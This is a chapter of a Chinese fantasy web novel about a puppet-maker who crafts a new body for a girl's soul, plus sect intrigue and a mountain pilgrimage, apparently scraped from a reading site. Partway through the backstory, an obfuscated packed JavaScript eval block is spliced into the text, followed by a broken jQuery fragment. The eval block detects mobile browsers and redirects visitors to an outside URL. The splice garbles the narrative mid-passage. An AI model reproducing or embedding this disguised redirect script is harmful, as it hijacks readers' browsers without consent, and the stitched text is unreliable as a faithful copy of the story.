默认冷灰
24号文字
方正启体

54. 脸皮

作者:嘿言本书字数:K更新时间:
    梅云惊捏着那张画纸,先细细看完纸上勾勒的面容,随即抬眼定定看向祝香携,目光沉沉,打量了许久,周身气息静得难测。


    画的不对?祝香携看着他。


    梅云惊好像遇到什么棘手的事,思索了很久,接着缓缓站起身,修长指尖凭空凝出缕缕猩红丝线。


    红丝细如发丝却泛着莹润光泽,随他手指翻飞、腕间转动,丝线簌簌游走,不过瞬息,粗细不一的红丝便缠满了整间屋子。纵横交错间竟透着几分诡异的精致,无风自动的红丝擦过梁柱、掠过案几,却半点没碰及祝香携。


    她就坐在原地,安安静静看着他动作,神色专注的像天庭勤劳的的织女。


    不过片刻功夫,梅云惊收了手,指尖红丝尽数归拢,一个巴掌大的小娃娃已然成型,红丝织就的轮廓分明,眉眼鲜活。


    祝香携连忙抬手去接,那红丝娃娃刚落进她掌心,原本带着丝缕硬挺的质地便瞬间柔软下来,触手温热,皮肉肌理细腻,竟和缩小版的真人别无二致,触感软糯贴合。


    只是……祝香携指尖一顿。


    凝眸细看,这娃娃眉眼精致绝伦,称得上绝色,却分明不是自己方才递过去的那张画上面的模样。


    她心头暗忖,莫非是嫌弃自己画得丑,才擅自改了?念头转了几转,终究没敢多问半句,指尖轻轻摩挲着软乎乎的娃娃,连忙敛神颔首:“多谢!”


    祝香携从酒肆出来,掌心小心翼翼拢着那只红丝小人,半点不敢磕碰,一路和江墨并肩返回蓬莱山门。


    殿中不见江厉与江易的身影,唯有方天画仍留在此处等候。


    江墨片刻不敢停歇,祝琪旋的魂魄缓缓飘出,稳稳附着在了那巴掌大的红丝小人身上。


    不过瞬息间,原本小巧玲珑的玩偶便开始缓缓膨胀,轮廓愈发清晰,皮肉肌理也愈发鲜活。


    不过片刻功夫,竟长成了个十三四岁少女的模样,眉眼舒展,静静躺在那里毫无声息。


    祝香携心头一紧,上前轻轻蹲身,低声唤她的名字,床上的人却毫无醒转的迹象。


    她又伸手搭在对方腕间把脉,脉象无半分异常。


    “为什么……”


    方天画缓步走近,抬手温柔摸摸少女的脑袋,轻声安抚:“正常的,等她的魂魄彻底适应这具全新的身体,自然就会醒过来了。”


    说罢,她目光落在祝琪旋那张全新的脸庞上,眼底满是赞叹,忍不住伸出手指轻轻戳了戳她细腻的脸颊:“真是很漂亮,眉眼身段都恰到好处,简直像为她量身定做的,连那份清柔又执拗的气质都贴合得很。”


    祝香携闻言下意识应声:“是梅云惊做的。”


    “我知道,他的手艺向来是顶尖的。”方天画点点头,随即转头看向一旁沉默伫立的江墨,笑着打趣,“恐怕等会儿江易回来,都认不出他这新收的徒弟了。”


    江墨始终没吭声,目光一瞬不瞬锁在祝琪旋的脸上,不知在思忖些什么。


    周身静得有些反常,方天画见状轻唤一声:“小墨?”


    江墨这才恍然回过神,回过身时嘴角扯出一抹浅淡笑意,轻轻摇了摇头,没多说什么。


    “她大概要多久能醒?”祝香携追问。


    “至少十个月。”方天画说。


    九个月,这么久。祝香携抓住了祝琪旋的手。


    方天画见状安慰她:“怀胎生子也要十个月。”


    祝香携把祝琪旋全新的头发拢到她耳后去,看着她的脸,突然想起这张脸熟悉的地方在哪里了。这张脸,很像梅世镜。


    自那日起,祝香携的日子多了规律,每日练剑罢,必会去探望祝琪旋,日日不落。江墨也几乎天天都来,守在榻边半晌不语,江易只在祝琪旋刚脱离险境时来过一回,之后便和江厉一同没了踪影,再未现身。


    拜师已过三月,祝香携头一回被江厉传唤,师徒二人在云荷殿相见,殿内荷香漫溢,却没半分闲适。


    江厉开门见山,语气干脆:“我要带你闭关。”


    祝香携猛地一愣,这事来得太过猝不及防,半点预兆都没有。她定了定神追问:“闭关多久?”


    “直到你把我一身本事全学完,再出关。”江厉说得云淡风轻,仿佛只是在说晨起练剑、日暮歇息这般寻常事。


    祝香携眉梢微挑,又问:“您见过学您本事最快的人,用了多久?”


    江厉眸光微沉,语气多了几分怅然,却也带着难掩的骄傲:“我女儿,江白枫,她用了七年,二十一岁那年,便飞升了。”


    “您这是这般急功近利,想让我也飞升?”祝香携忍不住失笑,语气里满是疑惑。


    “我不是要你飞升,是要教你如何执掌蓬莱。”江厉一句话掷地有声,语不惊人死不休,随即又轻描淡写抛出更震撼的话,“梅云惊说我快死了。”


    他抬眼定定看向祝香携,眼神清明,字字真切:“是真的。”


    祝香携脸色僵硬,只唤出一声:“……尊上。”


    “该叫师父了。”江厉说。


    “师父。”


    “我本来从没打算收徒,这辈子都没这念头,但是……”江厉忽然放声大笑,笑声爽朗,却藏着几分释然,末了看着她,语气带着几分赞叹,“算你厉害。”


    祝香携垂眸沉默思忖片刻,抬眼神色已然定了下来,只问:“什么时候闭关?”


    “三天后。”江厉答得干脆。


    祝香携没再多问缘由,也没提顾虑,只静静应了个字:“好。”


    三天,三天能做什么。


    定下闭关日期后,祝香携特意抽了空闲,在蓬莱各处辗转打探梅云惊的事,或寻弟子闲聊旁敲侧击,或向知晓内情的长辈打听一二,一番打听下来,虽细节零碎,却也对他的来历脾性有了个笼统的轮廓。


    梅云惊从前是叫江云惊的。


    江云惊从小性格温顺,沉默寡言,常常一个人默默看书,或是习武。整个蓬莱的人依旧十分喜欢这个平易近人的少主。


    可是江云惊性格却在十一岁的时候突然转阴,身体也突然弱了下来,留意的人也未敢多言,两江为他走访名医,没有丝毫改善。


    在他十二岁的时候,蓬莱山突然变成了银库,多了许多金银财宝,江湖上也渐渐有了蓬莱少主虐杀敛财,嗜血成瘾的传闻。


    十三岁,各门派无数英雄豪杰无故丧命,死状凄惨,再到后来,甚至蓬莱的长老都一个接一个消失。


    十四岁,江云惊妖怪身世暴露,和那个江湖人士说的一样,他被整个蓬莱联合驱逐,投奔去了他亲生母亲梅世镜那里,改姓梅。同年,他们在梅云惊住过的居所里发现了傀儡娃娃的残片,还有地板下的密室。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042435|192747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所有失踪的长老和各门派弟子均被找到,尸首混合着木偶残片,梅云惊自此声名大噪,傀修初次问世。


    十五岁,梅世镜被江厉和梅云惊合力围剿而死。


    十六岁,梅云惊如今才十六岁吗?


    祝香携替他感到苍凉,短短十六年,倒像已经过完了一生。这么急匆匆的过活,代价就是万人唾骂,死后也不得安宁。


    摘掉弟子铃后,祝香携所过之处香气扑鼻,大多数人处于畏惧也好嫉妒也好,没几个人会和她心平气和的说话,赫天算其中一个。


    “姜华走了,江墨也天天见不着人,我都快要成孤寡老人了。”他说。


    “一个人有什么不好。”


    祝香携给他带了一壶好酒,当做答谢。


    “和你们这些修行狂说不来,”赫天大口喝酒,动作豪放偏偏一滴酒都别想从他嘴里漏出去,一口气喝了个干净,炫耀的朝她倒转瓶子,一点不剩。


    他问:“师妹,你有没有去极乐山拜过?”


    祝香携摇摇头:“我不信那个。”


    “听听,是人话吗?”赫天痛彻心扉:“一个修仙的,说自己不信神仙,你这传出去过几年蓬莱招不到人了。”


    祝香携无所谓:“没拜过。”


    “你最好去拜拜,正好后天就是极乐山请誓的吉日,刚好在你闭关前一天,怎么不算种缘分呢?”赫天说的天花乱坠,祝香携还是坚持不信,甚至嗤之以鼻。


    “你别不信,你师父,封尊世尊都去拜过。”


    “哦。”


    “还有那个谁……也去拜过。”


    “哦。”祝香携觉得无趣,转身要走。


    “对,梅云惊也去拜过。”赫天在后面喋喋不休还在说:“而且听说他每年极乐山大开他都会去拜,连魔头都信,肯定有几分灵验的呀。”


    祝香携已经走的没影了。


    一日后,极乐山。


    祝香携看着一路从山顶排到山脚的长队,陷入了沉思,怎么这么多人?


    “一个人一个人进,不能插队不能中途离开,只有坚持到底了,才能见到真人!”


    排在末位的人这么说。


    祝香携瞧着队伍排得见不到头,当即断了排队的念头,可既已上山,又不想白来一遭,便随意选了条小路,慢悠悠在山间四处乱逛。


    山正面挤满了人,背面却了无人烟。


    全都是为了拜神而来,祝香携慢慢朝上走,手撩拨山路绳子上挂着的许愿牌。


    上万木头鳞片被狂风吹的颤抖,清脆的响声仿佛众生大笑,绵密如同骤雨落入耳中,一路从耳道痒进心底,所有暴露在外的皮肤都变得清凉松快。


    她一路走上去,山顶有一间茅草屋,背面居然还来着一扇红色的门,破旧不堪,和正面那个崭新的庙屋有云泥之别。


    一个无人问津,一个要人成群结队的拥戴。


    一座山上,还都在山顶,怎么就如此不同呢?


    祝香携在门口徘徊,走了两圈,就要下山的时候,忽然门从里面被人推开了。


    祝香携转过身,一个童子模样的人招呼她进来。


    “做什么?”


    “你不是来拜真人的吗?排到你了,快请进吧。”


    什么鬼?


    祝香携想了想,还是走了进去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)